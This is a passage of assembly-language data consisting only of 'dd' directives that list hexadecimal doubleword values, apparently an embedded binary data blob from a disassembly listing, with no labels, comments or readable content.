		dd 0D84B80AFh, 3001EEDh, 2D46B53Ch, 286A9497h, 76CC2B4Bh
		dd 1E8F2CEh, 0B584D7Eh,	87D1DB76h, 8D4EE3DEh, 2B5BB7B0h
		dd 0C220C081h, 0EDD004B0h, 1E5F0601h, 0E960AEE4h, 0BBE220h
		dd 17C5FB96h, 8E44B75Bh, 0A18DFA30h, 260E37Fh, 0CA77F9D3h
		dd 6B602F30h, 0F4006CE9h, 1D41532Bh, 9E8D3BFh, 31DE5E60h
		dd 0B49B6000h, 0E22495E1h, 5F0484D0h, 180013C5h, 9E43E001h
		dd 35D9A300h, 83632C71h, 0CED701E3h, 328F53B4h,	92844068h
		dd 0EF0145DEh, 29A6F95Dh, 0E9E07EB9h, 0BC80A04Dh, 42910058h
		dd 0C811B641h, 0FB00407Bh, 0CBE66EE0h, 18B4C6BBh, 0C8B83C30h
		dd 0E754EBADh, 4C01958Ch, 0BB0ABAB7h, 25C42D18h, 5CB800EDh
		dd 0D3C73DF4h, 5605405Ah, 1D0E244Eh, 39810280h,	0DD3A00AAh
		dd 286FE263h, 0FB0007B1h, 0BB45D4Eh, 9038BE7Bh,	4F110C28h
		dd 0D4F1E36Fh, 4517741Fh, 8A40579Dh, 11ECC49Bh,	0EF8BD14h
		dd 4D0F721Ch, 6F09DA42h, 0D02049EEh, 391CDC30h,	0AE806D82h
		dd 3465C92Ah, 0E524487Bh, 0CA0028F3h, 1C73B84Dh, 9F534CA2h
		dd 48012B3Ch, 0AED72AA9h, 4BF880D2h, 22C3142Fh,	0FD2D000Dh
		dd 0F073E772h, 961D20A7h, 334559A0h, 0C440BBE3h, 6C2AC3DFh
		dd 5E490392h, 12FA6694h, 0C75D86E8h, 0CC7A8B19h, 23C09258h
		dd 0CEEE05h, 67DA10ECh,	0A471AA14h, 390939h, 96A850E7h
		dd 7CBA01h, 21792D1Ah, 35A25D6Fh, 829CF005h, 488077DDh
		dd 1EA49170h, 0C0CC044Ch, 311D98A8h, 0F7011A55h, 47FFD324h
		dd 4D618B8Ah, 54E5DCh, 66A5D27h, 0F29CEA6Ch, 0CF90F600h
		dd 3E0E502Eh, 0D5B700C2h, 9309B31Eh, 0AD005910h, 405FEDCCh
		dd 0F960C8h, 3F612DA2h,	0AF0C19FCh, 0DC1E1503h,	0E09EA352h
		dd 3C9DFAh, 495B3E4Eh, 74C63FA0h, 36ACF600h, 0E2861227h
		dd 89CF00D8h, 7FC40354h, 0AE00328Dh, 3D6DF392h,	7132446h
		dd 499A7491h, 79CB7085h
		dd 3500277Ah, 6B2001A5h, 691C28Ah, 97D292DCh, 1A1288FAh
		dd 1C1E17E5h, 7C9F9600h, 0B87F6A5Eh, 0ED3B1FB2h, 4F6C0798h
		dd 5242837Dh, 21D42878h, 0FC930C6Bh, 89206Ah, 8ECD68D7h
		dd 0C813880Fh, 19D51700h, 0D230FE08h, 0FD2600C4h, 0DA440458h
		dd 0A47A41C9h, 0B580C600h, 0A327E137h, 429009Fh, 266D0D5Ch
		dd 0DC50E95Dh, 48E85930h, 58C71A28h, 9D289418h,	2018C9h
		dd 0B2B1F0FEh, 5DE074E9h, 212CEA00h, 0E9E54B3h,	0DD90007h
		dd 95B248B9h, 0DF002496h, 789BC6FCh, 26542Fh, 8435AAE7h
		dd 4811A890h, 25558600h, 9DE57528h, 0E23A005Eh,	0FCFDF16Ch
		dd 0CC01C4F4h, 1986FF0h, 36C808A2h, 0FE260E88h,	7A8F79DCh
		dd 0D95A7C60h, 2C008F65h, 544E0134h, 7C64AC4h, 0C72BD39Fh
		dd 421909Ch, 0FD00ACCFh, 556DE527h, 852591h, 29CA4C8Eh
		dd 4A98DE14h, 0C0690B2Ch, 0C700AC9Ch, 2857FF5Bh, 5CE7321Eh
		dd 0D880AE08h, 0C6C94C19h, 0F8276C00h, 3D4B7B2Dh, 427E008Fh
		dd 0FF142226h, 0E800F0B4h, 0A88A0E86h, 0D31F7Dh, 2F69E3DCh
		dd 6E7112E0h, 58B02898h, 9444EF15h, 587900B4h, 5791EED8h
		dd 1A6819F7h, 24420848h, 52005B6Ch, 476420D8h, 0FFD559Eh
		dd 697296C2h, 81DC144Ah, 0F51D7F19h, 0B8086F1h,	30B97B94h
		dd 1B490C5Fh, 2200F6EEh, 1A3C6960h, 7B2E08EAh, 980310Dh
		dd 8003E938h, 191DD51h,	284EFFE5h, 3FC5C89h, 2D811CA4h
		dd 13B16F8Bh, 0D867E33Dh, 0AC8F9ED0h, 168C102Ch, 78B0BBh
		dd 0A4CD078Ch, 0FE705515h, 423D7101h, 0DA5E04D1h, 0B3F1E8h
		dd 97CC6FBFh, 0B8D25EAh, 0B0ED8E00h, 0F2061B4Ah, 0CD090F9Eh
		dd 6640017Bh, 0D423FE86h, 0C196C800h, 7705F30Fh, 5B8B0091h
		dd 0C43EED9Eh, 441D1B37h, 19005368h, 0E17C11ABh, 46D61CF7h
		dd 4EEECC35h, 21C03B08h, 0E6E2442Eh, 0E2003B6h,	9FD18098h
		dd 1AFD6288h, 2833DF30h, 167BC4Bh, 910FB6E2h, 8771DAEBh
		dd 96210718h, 1EE1AA80h, 6A32163Bh, 7DE90060h, 5A43DDB3h
		dd 3198B0FFh, 0FA258ABh, 97EAD1C0h, 166BB100h, 7860CBA0h
		dd 0B7CAD870h, 18B07C39h, 0D056DF9Bh, 296033DEh, 0F25ABC49h
		dd 0C6770164h, 84A76D4Eh, 0E3DEE805h, 0CEBF3F00h, 50A324FFh
		dd 0BB6600D1h, 0C43DFB92h, 0DB077259h, 0D60AB364h, 0C5939710h
		dd 223A06ECh, 10966836h, 7046653h, 0C3120CD5h, 0EF6B1AC0h
		dd 730503B3h, 3A89D940h, 0A801909Fh, 0C679873Bh, 269C9500h
		dd 7FCD3F84h, 0B09307BAh, 0B0120E30h, 0A6AB2F6h, 4744A00h
		dd 561FBB09h, 0CB3C00D6h, 0F2E4181h, 0D31CAC01h, 0EBC01005h
		dd 0D14A7597h, 0BE0600FBh, 2656D9E4h, 7906076Bh, 2C45DB33h
		dd 0DD9400CCh, 41A17315h, 0A200907Dh, 808235C5h, 4C3DDF9Ah
		dd 6C3D989Ch, 8AB41300h, 0F51071A9h, 6DECE200h,	548C502Dh
		dd 0C97B034Dh, 83462FDh, 67A298C8h, 9CD2C21Ch, 3DDC1487h
		dd 1BD5C9F0h, 24BC007Ah, 3C0CA498h, 3E1C4340h, 53C085ECh
		dd 1E2A2EB9h, 4BB500AAh, 94756434h, 831C5DA5h, 555CFAD1h
		dd 0F130BF40h, 844EAFh,	71D72378h, 0F7F844C7h, 3E96A507h
		dd 61205470h, 7DC4B3h, 16426CB0h, 2CB48F4Eh, 3600247Fh
		dd 9EE2CAA5h, 0E4921FBh, 14B238F2h, 590B1D00h, 4638874Bh
		dd 0BDF98103h, 69383ECCh, 8BEBEC40h, 0D4850097h, 0BA41FEC2h
		dd 0D1036C7Fh, 8776E81Ah, 0A9110047h, 0BA8ECA82h, 0E5EBF29Fh
		dd 710C246Dh, 3E982D00h, 69EDF4DEh, 39AA0026h, 92D7F6DAh
		dd 0A01491B6h, 97AD22h,	3F7C5FB4h, 0E17151h, 4D658333h
		dd 7B6F64E3h, 5BC9C00h,	7916A6ABh, 6132384Fh, 0C6237701h
		dd 804AF09Ah, 0E5D60C5Ch, 1E7AFCB8h, 0CC213E86h, 61A94B14h
		dd 0BA0744FEh, 0BE65925Ch, 6D2F0920h, 0F2A1C3Eh, 18DBC08Bh
		dd 67A6E9FFh, 0EF006372h, 0E39EDD3Bh, 3D205396h, 560039ABh
		dd 88ADA2D2h, 97007549h, 0B61E0D36h, 682701h, 0FD702F85h
		dd 0AD676ADFh, 2200597Ch, 0F3D08D4Ch, 594D72Bh,	75D4B820h
		dd 23980218h, 0BF0097FDh, 60994676h, 8741C15Ch,	500BEAFh
		dd 4FEEE5FDh, 0C7EF7DADh, 40F6BBD1h, 0FF8983Ch,	0A2494807h
		dd 0EF478BA3h, 5D113660h, 7E1D00DEh, 606D4D61h,	41004047h
		dd 8FFAA7B7h, 0AF9B27h,	584292B4h, 31A0EA68h, 2059B500h
		dd 9DC42A6Dh, 0EC3B4834h, 502B9600h, 0F4CF707Bh, 5FD1A12Eh
		dd 15BEAD00h, 0B225D9h,	3A0E64B0h, 0FB08BF95h, 0F0FC383Fh
		dd 9D00C891h, 102757A3h, 5CAE011Ah, 0F30C0D37h,	0D13CF30Bh
		dd 232D07E9h, 0D0208B82h, 48882CE4h, 0CF015C84h, 8A8301Eh
		dd 8010BB85h, 0EACB20B8h, 0FD35601h, 318FE0B3h,	4795DDE0h
		dd 0C33A64C9h, 549A269Dh, 6E4FCC80h, 8834FBh, 0FDF4580Eh
		dd 815CE905h, 821ACA00h, 0A77C2C6Fh, 0E5777Bh, 3D9B2BE0h
		dd 81966426h, 3186B303h, 0BBD69F7Dh, 2BCDA0FAh,	485B3B1Fh
		dd 0D1665680h, 0C5291FEh, 95695400h, 0CA6D35EDh, 0A799003Dh
		dd 4F4203D0h, 0EB00D55Bh, 90F44589h, 0EF4796F2h, 0B45FCCh
		dd 113F5E0Eh, 7704D7D0h, 6209300h, 8A0AA8EAh, 159E00F5h
		dd 22E79660h, 0E507FE3Ch, 0F9C0CCD1h, 0C3121922h, 6ADEB9B9h
		dd 3DD5AC20h, 10BB43EDh, 5C02AE00h, 0C0CF6E3Eh,	0C3131500h
		dd 21995F2Ch, 6BDD0746h, 60F1CECDh, 0D9B4551Eh,	0AE508E07h
		dd 2F305CE8h, 0A0BE27B6h, 1C1CA9A4h, 28C2355Bh,	13450190h
		dd 0FA9F5812h, 0B17CE09Ah, 0C240E300h, 0BBE1783Ah, 0A7AEE90h
		dd 0B97ECFAFh, 0DAEA808Ch, 0D9F9367h, 8EFECA00h, 5560642Bh
		dd 0DCA500E8h, 0B4077E16h, 5301EB0Ah, 0B30F5834h, 0F5C0C3DFh
		dd 0BC2200ABh, 0BF9A6830h, 0C0009765h, 0B64990FDh, 1E244B9Dh
		dd 9BFE3BA2h, 88C0F8AFh, 1E18C13Eh, 3AD016B7h, 0B3320559h
		dd 974A3109h, 801E2564h, 332CFBCFh, 0DD443000h,	2ACC7DE4h
		dd 24DE3AFEh, 0E8701699h, 0BF4097BDh, 2D87AE1Dh, 0E4B1B94Bh
		dd 0F74074F1h, 7F861Bh,	0EDC3C898h, 0E6AE31B7h,	1D37474Ch
		dd 51022325h, 422CB67Ch, 2D154093h, 0EBCD006Eh,	6D28ABB3h
		dd 3F0101D1h, 70D9E0B5h, 24305D98h, 0CEBC6011h,	4F90734Ch
		dd 479B690Fh, 39AE20DBh, 30C3D82h, 0ADAC489Ah, 74A81886h
		dd 31819F8h, 78E963E3h,	5629001Eh, 0F1C3871Ah, 7C904C65h
		dd 43F97100h, 0A6CF080Ch, 19025C8Ah, 9D89728h, 3FBB20F2h
		dd 84CD0980h, 2DF867DCh, 51F06600h, 7041F962h, 63D6006Eh
		dd 20C12587h, 3B005E79h, 0AE9023E6h, 36B5ECh, 0A6D26465h
		dd 9E0630FCh, 0D604DE00h, 0FE23147Eh, 94400BCh,	1E8B5BEAh
		dd 6200F694h, 32026512h, 0C0369Eh, 2E3B8633h, 603F4AD9h
		dd 0BC179B00h, 637B8022h, 77938D5h, 69B83B00h, 5C20E09Ch
		dd 0C8C20203h, 0A81E8C99h, 0B49A3E5h, 7A316158h, 916E0082h
		dd 10A06063h, 0DF078614h, 29389CB9h, 60495AF2h,	2760F1h
		dd 6FCBA415h, 8C0BFD13h, 0D43D6878h, 6098F6BCh,	9F7A3EE0h
		dd 0B7AA6200h, 788F5AF2h, 76325D5h, 733AD57Eh, 0C811A00h
		dd 3CC80B3h, 0BC1C0F6Ch, 0F2803256h, 7849DF84h,	0C0985000h
		dd 5B662238h, 0F37B0085h, 0FD4A3F8Fh, 0D9092118h, 988D3Ch
		dd 9DAE818Dh, 42CB07Ah,	0FCF2C5E0h, 1D9C90B3h, 0C700D877h
		dd 59661B7Bh, 8EF17Eh, 84823180h, 0D73ACCCBh, 192E1A00h
		dd 0F5A12692h, 8DDA1764h, 0B13020F6h, 4900A4E1h, 0C1F3D7BFh
		dd 1F7AECh, 69353D4Eh, 3C13C9E4h, 98BFF607h, 7AB07E46h
		dd 7C45CDACh, 0F9B9003Bh
		dd 0C2A7EE19h, 8C0FD7E8h, 2B2182E2h, 37EDFh, 0BDBC2894h
		dd 0BF001902h, 22D01E06h, 74399EB6h, 0A04C0B85h, 35A14ADEh
		dd 205217D6h, 12004038h, 379DAFCCh, 7E3AD8BEh, 1EA7126Fh
		dd 9BA00058h, 0CEF70FDDh, 75E7AF00h, 3D3CE9D7h,	2AAE0298h
		dd 6E13973Fh, 0CAD654E8h, 6C502C02h, 0C0B8AC6Fh, 0F3F2F60Ch
		dd 12589CCh, 8FC29C7Ch,	0F06C30B0h, 0F824BB45h,	99891028h
		dd 0D5130119h, 56ECEBEFh, 0B0E3066Bh, 6093BB42h, 1C266609h
		dd 14A040FFh, 910F01A2h, 2C1A9D06h, 1F3EBEDCh, 2B4E8274h
		dd 0C128DB10h, 88C0B3D2h, 0A3621F08h, 46EC010Fh, 0F46DA792h
		dd 831D20B1h, 9C01CD6h,	0D3EE1F37h, 98230097h, 0E2C3B3EFh
		dd 0DE58DB54h, 1DE1017Ch, 3E5B1E76h, 3CF2F4h, 7EAD9A03h
		dd 42FBC945h, 0E45D700Bh, 8C7900D5h, 0C03B10B2h, 0BAE39459h
		dd 68A0AD42h, 0FF07DE01h, 29777BE1h, 204383E7h,	0B8804DE4h
		dd 8DD212h, 1C2298FCh, 0E51D9F45h, 0BE4099h, 0F4119C6Bh
		dd 7B396A7h, 3C1415AAh,	908B3758h, 5E0D8D2Ch, 52686D00h
		dd 0CE342371h, 0C4EE030Bh, 0DF28E2E1h, 41E9609Bh, 0E6F0D006h
		dd 70A01700h, 10E36FE9h, 945C0667h, 0B182D12Eh,	0B438B61Dh
		dd 1F5F81BFh, 1ECEFB7Dh, 2180B3D1h, 2FB4013Dh, 8006E10h
		dd 0EBC44EC9h, 2479A059h, 3AD96713h, 7DB2BD81h,	0A480ABFFh
		dd 7F00E439h, 4C2CA2D2h, 7473013Ah, 5085C86Ch, 9E177182h
		dd 94CFF830h, 4974EC5h,	3C9067DBh, 1DD7586h, 782B4C1Ch
		dd 9253E401h, 880AD08h,	4DD0D3Bh, 19D0EF8Bh, 5857C6F3h
		dd 9487C120h, 0A4C80C8h, 0FCF1C766h, 67190C00h,	79258EE3h
		dd 0C81102B4h, 13747851h, 0D0358CA2h, 11B3FB18h, 8457E31Eh
		dd 56009450h, 0ABD6B3C4h, 0D7D5FE1Bh, 1A7F8099h, 0E2AB007h
		dd 5E817ACFh, 541E7CA0h, 67000E6Bh, 665103F7h, 604EBE95h
		dd 0A66C8876h, 417BA7EAh, 0C0247C00h, 86F33931h, 30340083h
		dd 29454618h, 0AF785313h, 0CB5ABC00h, 0A2D48791h, 0D9590089h
		dd 53B4D28Ch, 473A9E3h,	5CAF2700h, 0CE1785F8h, 6C7D005Bh
		dd 64C96574h, 0AE30F579h, 47E9A459h, 0CAD23EF1h, 4A337800h
		dd 9D44DB9Ch, 5299B500h, 0D39FDFBFh, 35E500A1h,	786571A9h
		dd 70015DCh, 77D71692h,	0A8868Fh, 0DF724FD1h, 0AB34A276h
		dd 0CC9D3C18h, 705238h,	88DA947h, 26B3C6AEh, 0CF63B50h
		dd 7518C098h, 6580912Ah, 8001308Ch, 9DEDAA9h, 39E8213Ah
		dd 2E2480BCh, 56AA274Eh, 0FA473896h, 0A0DD8798h, 0E700CE4Bh
		dd 7BC2AEA6h, 1F6E2927h, 8E17337Fh, 4060DE58h, 47BDCCE5h
		dd 0F1DFCBE0h, 65622740h, 606E4B7Fh, 0DFD87969h, 0DB0093DAh
		dd 47139B0h, 0ECD3235h,	12BDCE3Dh, 48151141h, 9D8D8E5h
		dd 5049B00h, 0CB20B9F5h, 42B84Eh, 0BDD1FC17h, 72426C3Fh
		dd 1886B33Ch, 261025FDh, 494A0E4Fh, 77D88AEh, 803C6F46h
		dd 0A9A59A08h, 8A91609Fh, 0CE84005Bh, 0F4F16C8h, 0CC067009h
		dd 6E5633B8h, 0C463A40h, 6FAF630Ch, 94000E11h, 6E083B17h
		dd 66F14528h, 69B6089Dh, 420D70FFh, 737B9073h, 0C0A6BE03h
		dd 0DDD879h, 0EF68358h,	2E3D1DA2h, 2470EA0Eh, 72E5404Eh
		dd 0E6E4648h, 0F8085A6Ah, 7AE37500h, 8CD84C9h, 166060D7h
		dd 77080194h, 7164D71h,	14C6E889h, 0CB639328h, 39DEAF0Ah
		dd 0CF00843Dh, 0D6F5AB2Eh, 0E49D0043h, 0D5BC3B8Dh, 0C10081D4h
		dd 644799CDh, 4F036Eh, 90536361h, 0D3D51CE1h, 0A158600h
		dd 482F17DFh, 0AEAC48C7h, 5D041068h, 0F1EE8686h, 0A0D50010h
		dd 3306CE97h, 0B6078372h, 9A8ADB50h, 0F9A95931h, 0EA5FEEC4h
		dd 0B73F0E39h, 0C449AB05h, 0DAB6A280h, 0FC0078EDh, 615D7CCh
		dd 0E6D4946h, 54B0A83Eh, 4AAB61E0h, 39FCFB69h, 216A4400h
		dd 86D17668h, 0D7B8003Ch, 507EE714h, 0EC003715h, 4B059B1Ch
		dd 5CC32B90h, 0DF0E295Fh, 0A1A097F0h, 3635BDA0h, 0E864C200h
		dd 0A9521AEDh, 69011C7Ah, 89250114h, 0F0656EE3h, 6C009FBEh
		dd 8343EB9Eh, 0ED3AC8h,	37148DDFh, 34E7FA8Fh, 7EDE9706h
		dd 30785Dh, 4AEFF535h, 0F4999D58h, 69551A09h, 0E15F0B8h
		dd 0C7A3AECCh, 65E00CEFh, 0D525335Fh, 7B70E71Dh, 3A6FB7C0h
		dd 942CDFh, 0A3FAA5F5h,	36DC806h, 4E72A100h, 1509FC2Eh
		dd 2A900518h, 44E0C5h, 34AA4DC4h, 913E0B0Ch, 7EFA8F53h
		dd 20728FABh, 0AEBA5D45h, 82323F65h, 9FD52D80h,	28361E5Ah
		dd 0EA70CB14h, 0B40928E8h, 0D297C300h, 0BF7D6948h, 515E28CCh
		dd 10C78ACh, 490F4058h,	80665A3Ch, 0F7C676F0h, 3FC4D2h
		dd 98F95C89h, 8D68AA86h, 0EAB6712h, 1AD61840h, 0CB5BAACh
		dd 430175A8h, 0CF001C60h, 0EFCD6C24h, 1D42ACAh,	9C3A5A13h
		dd 0E0720EC7h, 40031BF3h, 0B18528ADh, 0D0F180F5h, 0A068E6A0h
		dd 0E6EAEC95h, 0CECFD4Eh, 7A90A1h, 0AA442170h, 7565E8CAh
		dd 57043Bh, 830DC66Ah, 0E96FF8h, 8A38C555h, 0AA641028h
		dd 5AC1FC03h, 69684Eh, 0B1D249D8h, 2617C6FBh, 7F2B5500h
		dd 0B2721DCh, 0B7E4C3h,	0C0AA0E34h, 0BBCA7BC8h,	6754A600h
		dd 18BA9EEEh, 0D8C507E6h, 791D8E80h, 6D5C9800h,	7518CFFDh
		dd 0F0A01F12h, 0E3E08Ch, 0E78F3C1Bh, 84F25E05h,	672AC57Dh
		dd 0AEF2F88Ah, 0FE543F00h, 5ED3C1E6h, 7BAEA78h,	1CAA79CEh
		dd 9096206Eh, 44482BFAh, 0BB4A0404h, 2680B9E4h,	0F6C628CFh
		dd 6FDA5CBCh, 974E1B07h, 7D68607Bh, 150E783Eh, 0E050EC55h
		dd 109B27Ah, 49CD00FBh,	9966BB52h, 1F004DF5h, 19B4D8D2h
		dd 6926Ah, 8AF9BAC0h, 9A3D6896h, 46352000h, 473F23C8h
		dd 80CC0103h, 28564453h, 888DE813h, 304DE48h, 0F9BD1AFAh
		dd 2C90EC7Fh, 10D5E71h,	93D58832h, 0CAC198F8h, 45507AE0h
		dd 0EB01E8E6h, 0F76D9021h, 1C20595Bh, 135600DEh, 413A8AA4h
		dd 0D90FD62Ah, 41C4291Fh, 0F6165999h, 6A312887h, 0C0D70101h
		dd 0ECC7C08Fh, 0C47CDB1Fh, 47814F58h, 5E2A0054h, 0FEB06E1Dh
		dd 0E401D43Fh, 929BAC40h, 8202924h, 0D12214E2h,	6500DC30h
		dd 23357585h, 500D871h,	0D7EA80DAh, 17489C9h, 3A26B83Dh
		dd 34F12F42h, 0EC30C498h, 0DA0AD0F7h, 7A831C22h, 9CD6C0E2h
		dd 59765D0Fh, 0EB652500h, 0ABD0397Bh, 7F6A0194h, 73E807BDh
		dd 3F16D485h, 0F225E500h, 1364EE54h, 619300D8h,	0F7A8C031h
		dd 0A600D746h, 96D5C938h, 1D2A83h, 15C81F42h, 48840C92h
		dd 0AD576F03h, 0B0708F12h, 0ED8F547h, 0B7CDF6FBh, 863D29A0h
		dd 0A400BD7Ah, 0B0B6FE1Ch, 70544Dh, 844563Fh, 906787AAh
		dd 78283900h, 719F380h,	0B2F71DBAh, 0F0174036h,	1B427255h
		dd 23448404h, 998071C5h, 0CE9AAFh, 5BCA7AFCh, 5AE37C49h
		dd 0F5B6D500h, 12525D8Eh, 564C07ACh, 84FB7EABh,	0BCC4E4h
		dd 38B406A0h, 2100A94Ah, 0F51423CDh, 1355639h, 9D5DCCC6h
		dd 408EC213h, 519EDDD4h, 60B5C4E8h, 741D65h, 7707FE98h
		dd 2BA1C86Eh, 1B8FF500h, 96D96F9Ch, 0F4621F23h,	5EB70050h
		dd 20C64259h, 72B09348h, 2107AF77h, 0D7A49478h,	3DFDC1D1h
		dd 4870B0D8h, 0F70054C2h, 0B5D849C4h, 0D024FA81h, 6F0381B7h
		dd 0DFAB7917h, 8D9FC9D0h, 1BA20150h, 0EA6AA88h,	8FC3F461h
		dd 0D5171092h, 0E60071F4h, 0AA2C0A5Fh, 899007B8h, 2839157h
		dd 0A560F79Eh, 0F93BE87Dh, 0A04C11h, 6176C6FDh,	0E7B3B5Bh
		dd 39C22272h, 0E4EBA1E0h, 6400B4F7h, 0CE8C6947h, 13F0754h
		dd 2B142917h, 0FB6A1EA7h
		dd 0C0E173D2h, 0A3AAD834h, 243C9026h, 6103A18h,	18A97AB2h
		dd 0A81473A2h, 16005D3Bh, 5C61F733h, 1405D65Bh,	0A8E786E9h
		dd 2A6ABD0Eh, 1E526880h, 0D116FAFEh, 891441C5h,	877A3C08h
		dd 8D887281h, 890AC0C0h, 0B05700F1h, 5FAD39BEh,	9303C3DAh
		dd 0F3A40905h, 0E314E8BFh, 65181C9Ah, 743D00EEh, 4449AA84h
		dd 128D4100h, 9B77E30Fh, 0DCCF00C8h, 8B88E4EDh,	0AA7C45A1h
		dd 6D0A9D12h, 0B6FAD900h, 0FCCC3AECh, 972B1FDEh, 9F0840D3h
		dd 0CA3BEA28h, 881A4D00h, 3A17AB91h, 620C0050h,	779358A6h
		dd 1900215Dh, 83C25222h, 7D23D657h, 0CD020453h,	88BEC859h
		dd 0E6006B50h, 0DE13A50Bh, 7882882h, 0A3C1119Ah, 4A46A09Ch
		dd 0C6006490h, 0B322C74Eh, 202365h, 36C90341h, 680A7904h
		dd 9DC5FF01h, 60AC2F16h, 7265CFE0h, 0B87B00E5h,	8896E8AFh
		dd 26007D4Fh, 0FB3CC83Fh, 0AE85EBh, 802C5717h, 2E5B6E99h
		dd 8024C53Fh, 60C40C89h, 8C215Eh, 4C9A9CDAh, 3145253Bh
		dd 0E5030998h, 70D1D995h, 62CCB85Bh, 80850EE1h,	0C800D7C6h
		dd 3D9154D2h, 0A1FD6800h, 7167EC51h, 0E7C0F8Bh,	873EAA22h
		dd 0E0CA08CDh, 0AD200D0Fh, 4535B600h, 0D5A99767h, 0ECFC0099h
		dd 83C338Ch, 8000EF8Bh,	64619D04h, 98242F96h, 858400F4h
		dd 0DA12A42Ch, 730FA383h, 0E1EF0F2Ah, 0E5D69C93h, 0D0F9807Ah
		dd 28008B0Eh, 0A2B6F69Fh, 45C3B27h, 681D8103h, 2150A1B0h
		dd 0E9C5FC9Ch, 0ED8DC00h, 0D744F46Dh, 929303E8h, 74CFA787h
		dd 0B3F36F88h, 25194C00h, 0DEA89685h, 0BA7200D7h, 0CA22AE1Ah
		dd 6807E007h, 42C87188h, 7EADC471h, 0DF6860h, 911BAC62h
		dd 9FB4BEAh, 21CFF0F3h,	33FC6358h, 0A1871896h, 1040D2BEh
		dd 70DBDC72h, 83B6003Ch, 71AFF026h, 315CC29Fh, 0E8FF00BEh
		dd 8EA3E79Ah, 0D630003h, 2A26C55Eh, 0B4FC5CE9h,	0E9052B37h
		dd 40624C85h, 3BFC3B9h,	7B9C0498h, 0AFA0248Ah, 5500C886h
		dd 44BFA70Ch, 0FCB24BD9h, 10030077h, 0C62570F7h, 6B1B657Bh
		dd 0E9E0DBD0h, 25609952h, 0FAEC3744h, 63666061h, 857A1E20h
		dd 0A4B9B801h, 0BB585AC9h, 9441F0h, 0F0823FCBh,	57052010h
		dd 6FEF100h, 0FCE18FE2h, 0B27AA2h, 8124C9EBh, 7D23BF90h
		dd 6E7501Dh, 94180B81h,	5ED572F4h, 0DE86E4h, 0D2CF7DC8h
		dd 0DA6D8A39h, 3F3D6300h, 2FE2C1A9h, 5EFB00C2h,	3AA1EB03h
		dd 4A00CDE8h, 8DA50EC5h, 9BBDA70h, 0B0988411h, 1BD56883h
		dd 0EDD4C590h, 0E762A41Fh, 4880A01Fh, 0F47F5C19h, 94A90485h
		dd 0C2AEAA73h, 9981B309h, 0E678883Fh, 60E18C5Bh, 0B8F0F42Ch
		dd 1910604Fh, 0B9E886A3h, 0D4B29628h, 8AA9033h,	502103A2h
		dd 0BF1FE96Eh, 7AC41AC8h, 42A0E108h, 71E28316h,	5ED0E8E6h
		dd 76F625DBh, 0C1204300h, 90B9BD81h, 0EEFA00E7h, 0B017DDB5h
		dd 5B105E16h, 0F712140Ch, 89DA00FFh, 18601E98h,	0CB6459C0h
		dd 0DB10Ch, 293B78F8h, 22BD7BCFh, 7F0685E6h, 0E264C379h
		dd 9BDF0520h, 3C6E53CDh, 0C8469420h, 8C8ED601h,	702B236Ch
		dd 0E3038051h, 0EEF149B0h, 0EC3DD15Ch, 0D46EA08Ch, 0FC40F0D0h
		dd 7595065Dh, 10B48D2Bh, 4B6B2401h, 8B8FEE05h, 0F9BCB450h
		dd 41B8A0F6h, 40A95C70h, 0BA801F39h, 0BB74A6ACh, 8300CA9Eh
		dd 0F5FA648Fh, 6113DB76h, 633BB90Ah, 4F601BCh, 18775888h
		dd 8606591Dh, 69DEABh, 0EF39647Fh, 161E945Ch, 86C4433h
		dd 0AA2100ADh, 0C6463A4Ch, 3D2A125Bh, 7638889Fh, 540384C5h
		dd 1097F990h, 771EE910h, 7B580663h, 85070ABh, 0AC21C460h
		dd 1301EDEh, 0F9D00999h, 0DDDD0BFFh, 9E282039h,	0AC024243h
		dd 0A296B3E8h, 4E100131h, 3C01E954h, 1B2641A7h,	0ECD4189Bh
		dd 0A8D7244Ch, 82B78154h, 0E426B2D0h, 0E33DBAFh, 3BF08C0h
		dd 0D08D7C21h, 0C8F81976h, 0A80AC2E9h, 6CB96F4Eh, 9FE215Ch
		dd 3AF56B87h, 0C4CC6740h, 0C68637E5h, 7CF0C041h, 7F072F66h
		dd 2C7E05BFh, 24CF9000h, 30FA47h, 1798DCCDh, 6B9DAAF8h
		dd 0A6B7DA00h, 0CE0277CFh, 0E9281337h, 9FA8070Eh, 3F605EF0h
		dd 5A776561h, 4CF14A00h, 3D256EACh, 0D0DD519Bh,	520FD4h
		dd 752B61C9h, 0F07328C2h, 0BCDCFD48h, 2078CA4h,	9C9599D6h
		dd 0AF46C0E0h, 5A301B3h, 5748C107h, 26E440F9h, 0DF483775h
		dd 76510580h, 6C413139h, 0D221616Eh, 0A303BC32h, 3C7C743Eh
		dd 10FF4BD3h, 80CA5C9Eh, 67D46054h, 89A54230h, 2832EFh
		dd 0A94C2BFCh, 9FE50913h, 5B622C00h, 8A69A278h,	0B8C95486h
		dd 0B03B00ECh, 7B709CA8h, 8C1FFCA0h, 24809E28h,	0A5300957h
		dd 7C72002Ch, 2A45DE98h, 512AA29Ah, 9590EC64h, 0C0E279C0h
		dd 27B80Bh, 0C7A7FA09h,	0D468257Ch, 6C907FEAh, 80147149h
		dd 63721EE4h, 0F5458CE0h, 1E4560h, 4445C2B3h, 54F72D3Eh
		dd 0B4289800h, 57700489h, 76A0A07Dh, 6C94A8F4h,	6DBD00FCh
		dd 0EFC709CDh, 0BF0FADB0h, 0C0AB355Dh, 1F9AE5CBh, 16E8F8h
		dd 13813F25h, 5378DA1Eh, 804FA900h, 0ECC508BDh,	7C0C9017h
		dd 0BF5D265Ch, 0FD5F003Ch, 0F23417Fh, 0DC5B3013h, 0C184B014h
		dd 9A34CC3Ah, 0FC4E043h, 15532A91h, 0C64403Ah, 197098A1h
		dd 637BE885h, 0C18463F8h, 5AC02107h, 60F0CA1Eh,	2360F3Ch
		dd 5046D8FAh, 8080F6A6h, 0DB75F98h, 97DD0C01h, 0C93BAE30h
		dd 724104FBh, 0D0C010C3h, 1B7BD4DCh, 9998D8A8h,	13756109h
		dd 4444207Ch, 0F41E86EAh, 9B690DF8h, 3038BE2Bh,	0AE449C20h
		dd 796024A4h, 1124A4E8h, 0D07C805Ah, 8CD82688h,	92918C60h
		dd 764D08Fh, 0E2E73E25h, 0A042Ah, 31F5CDD1h, 0E01E2AF3h
		dd 0ED7624A0h, 426DC0F8h, 38A4E5ECh, 89D0B504h,	69389026h
		dd 8FD08000h, 572D589Ch, 385405FEh, 40EE9021h, 9652D890h
		dd 53009AAEh, 98D0CD58h, 6B71EDh, 25B67BC0h, 45613DE0h
		dd 0B8974E2Ah, 0CA32F10h, 0E044456h, 82EC05D0h,	246E2A0Ch
		dd 1010D0A1h, 13E887A3h, 62AA96BEh, 43201C24h, 16AFE96Fh
